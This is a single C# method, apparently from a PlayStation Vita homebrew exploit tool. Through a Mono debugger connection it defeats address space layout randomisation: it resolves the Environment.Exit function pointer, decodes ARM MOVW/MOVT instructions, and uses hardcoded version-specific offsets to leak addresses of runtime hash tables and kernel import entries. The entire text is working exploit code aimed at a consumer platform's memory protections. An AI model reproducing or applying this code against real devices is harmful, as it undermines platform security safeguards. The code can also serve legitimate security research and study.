public uint DefeatASLR(out uint images_hash_ptr, out uint alloc_fptr, out uint free_fptr, out uint unlock_fptr, out uint lock_fptr, out uint flush_fptr, out uint libkernel_anchor) { // step 0, setup long methid_gettype = _vita.GetMethod(true, "System.Type", "GetType", 1, new string[] { "String" }); if (methid_gettype < 0) { throw new TargetException("Cannot get method id for Type.GetType"); } long methid_getmethod = _vita.GetMethod(true, "System.Type", "GetMethod", 1, new string[] { "String" }); if (methid_getmethod < 0) { throw new TargetException("Cannot get method id for Type.GetMethod"); } long methid_getruntimehandle = _vita.GetMethod(true, "System.Reflection.MonoMethod", "get_MethodHandle", 0, new string[] { }); if (methid_getruntimehandle < 0) { throw new TargetException("Cannot get method id for System.Reflection.MonoMethod.get_MethodHandle"); } long methid_fptr = _vita.GetMethod(true, "System.RuntimeMethodHandle", "GetFunctionPointer", 0, new string[] { }); if (methid_fptr < 0) { throw new TargetException("Cannot get method id for System.RuntimeMethodHandle.GetFunctionPointer"); } long methid_readint32 = _vita.GetMethod(true, "System.Runtime.InteropServices.Marshal", "ReadInt32", 2, new string[] { "IntPtr", "Int32" }); if (methid_readint32 < 0) { throw new TargetException("Cannot get method id for ReadInt32"); } // step 1, get method handle ValueImpl environment_str = _vita.CreateString("System.Environment"); ValueImpl env_type = _vita.RunMethod(methid_gettype, null, new ValueImpl[] { environment_str }); Console.WriteLine("System.Environment Type object: 0x{0:X}", VitaIntToUInt((Int64)env_type.Objid)); ValueImpl exit_str = _vita.CreateString("Exit"); env_type.Type = ElementType.Object; // BUG with debugger ValueImpl methodinfo = _vita.RunMethod(methid_getmethod, env_type, new ValueImpl[] { exit_str }); Console.WriteLine("System.Environment.Exit MonoMethod object: 0x{0:X}", VitaIntToUInt((Int64)methodinfo.Objid)); methodinfo.Type = ElementType.Object; // BUG with debugger ValueImpl runtimehandle = _vita.RunMethod(methid_getruntimehandle, methodinfo, new ValueImpl[] { }); Console.WriteLine("System.Environment.Exit RuntimeMethodHandle object: 0x{0:X}", VitaIntToUInt((Int64)runtimehandle.Objid)); ValueImpl funcptr = _vita.RunMethod(methid_fptr, runtimehandle, new ValueImpl[] { }); Console.WriteLine("System.Environment.Exit function pointer: 0x{0:X}", VitaIntToUInt((Int64)funcptr.Fields[0].Value)); // step 2, read function pointer to Exit icall from JIT code ValueImpl offset = new ValueImpl(); offset.Type = ElementType.I4; offset.Value = 0x90; ValueImpl movw_val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { funcptr, offset }); offset.Value = 0x94; ValueImpl movt_val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { funcptr, offset }); uint addr; uint instr; Utilities.DecodeResult type; instr = VitaIntToUInt((Int32)movw_val.Value); addr = Utilities.DecodeARM32(instr, out type); if (type != Utilities.DecodeResult.INSTRUCTION_MOVW) { throw new TargetException(string.Format("Invalid instruction, expected MOVW, got: 0x{0:X}", instr)); } instr = VitaIntToUInt((Int32)movt_val.Value); addr |= Utilities.DecodeARM32(instr, out type) << 16; if (type != Utilities.DecodeResult.INSTRUCTION_MOVT) { throw new TargetException(string.Format("Invalid instruction, expected MOVT, got: 0x{0:X}", instr)); } Console.WriteLine("Found fptr for Environment.Exit at: 0x{0:X}", addr); // step 3, use offset to find mono_images_init and get hashmap pointer #if USE_UNITY uint mono_images_init_addr = addr - 1 + 0x129E; #else uint mono_images_init_addr = addr - 1 + 0x1206; #endif ValueImpl initaddr = _vita.CreateIntPtr(UIntToVitaInt(mono_images_init_addr)); offset.Value = 0; movw_val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { initaddr, offset }); offset.Value = 4; movt_val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { initaddr, offset }); instr = VitaIntToUInt((Int32)movw_val.Value); images_hash_ptr = Utilities.DecodeThumb2((UInt16)(instr & 0xFFFF), (UInt16)(instr >> 16), out type); if (type != Utilities.DecodeResult.INSTRUCTION_MOVW) { throw new TargetException(string.Format("Invalid instruction, expected MOVW, got: 0x{0:X}", instr)); } instr = VitaIntToUInt((Int32)movt_val.Value); images_hash_ptr |= (uint)Utilities.DecodeThumb2((UInt16)(instr & 0xFFFF), (UInt16)(instr >> 16), out type) << 16; if (type != Utilities.DecodeResult.INSTRUCTION_MOVT) { throw new TargetException(string.Format("Invalid instruction, expected MOVT, got: 0x{0:X}", instr)); } Console.WriteLine("Found ptr for loaded_images_hash at: 0x{0:X}", images_hash_ptr); // step 4, use offset to find import table for SceLibMonoBridge functions #if USE_UNITY // Determine Unity version... int unity_version = FindUnityVersion(addr); #endif #if PSM_111 uint import_table = addr - 1 + 0x12dbaa; #elif USE_UNITY uint import_table = addr - 1 + (uint)(unity_version == 0x105 ? 0x1118A0 : 0x1117C8); #else uint import_table = addr - 1 + 0x12D7A2; #endif ValueImpl faddr = _vita.CreateIntPtr(UIntToVitaInt(import_table)); #if USE_UNITY offset.Value = 0xBC; #else offset.Value = 0x184; #endif ValueImpl fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset }); unlock_fptr = VitaIntToUInt((Int32)fval.Value); #if USE_UNITY offset.Value = 0x74; #else offset.Value = 0x198; #endif fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset }); lock_fptr = VitaIntToUInt((Int32)fval.Value); #if USE_UNITY offset.Value = unity_version == 0x105 ? 0x1BC : 0xFC; #else offset.Value = 0x350; #endif fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset }); free_fptr = VitaIntToUInt((Int32)fval.Value); #if PSM_111 offset.Value = 0x460; #elif USE_UNITY offset.Value = 0x64; #else offset.Value = 0x468; #endif fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset }); alloc_fptr = VitaIntToUInt((Int32)fval.Value); #if USE_UNITY offset.Value = 0x54; #else offset.Value = 0x40; #endif fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset }); flush_fptr = VitaIntToUInt((Int32)fval.Value); // find SceLibKernel import table for anchor #if PSM_111 import_table = addr - 1 + 0x12e18a; #elif USE_UNITY import_table = addr - 1 + (uint)(unity_version == 0x105 ? 0x111C98 : 0x111BC0); #else import_table = addr - 1 + 0x12DD7E; #endif faddr = _vita.CreateIntPtr(UIntToVitaInt(import_table)); offset.Value = 0x0; fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset }); libkernel_anchor = VitaIntToUInt((Int32)fval.Value); Console.WriteLine("Found unlock 0x{0:X}, lock 0x{1:X}, free 0x{2:X}, alloc 0x{3:X}, anchor 0x{4:X}", unlock_fptr, lock_fptr, free_fptr, alloc_fptr, libkernel_anchor); return(0); }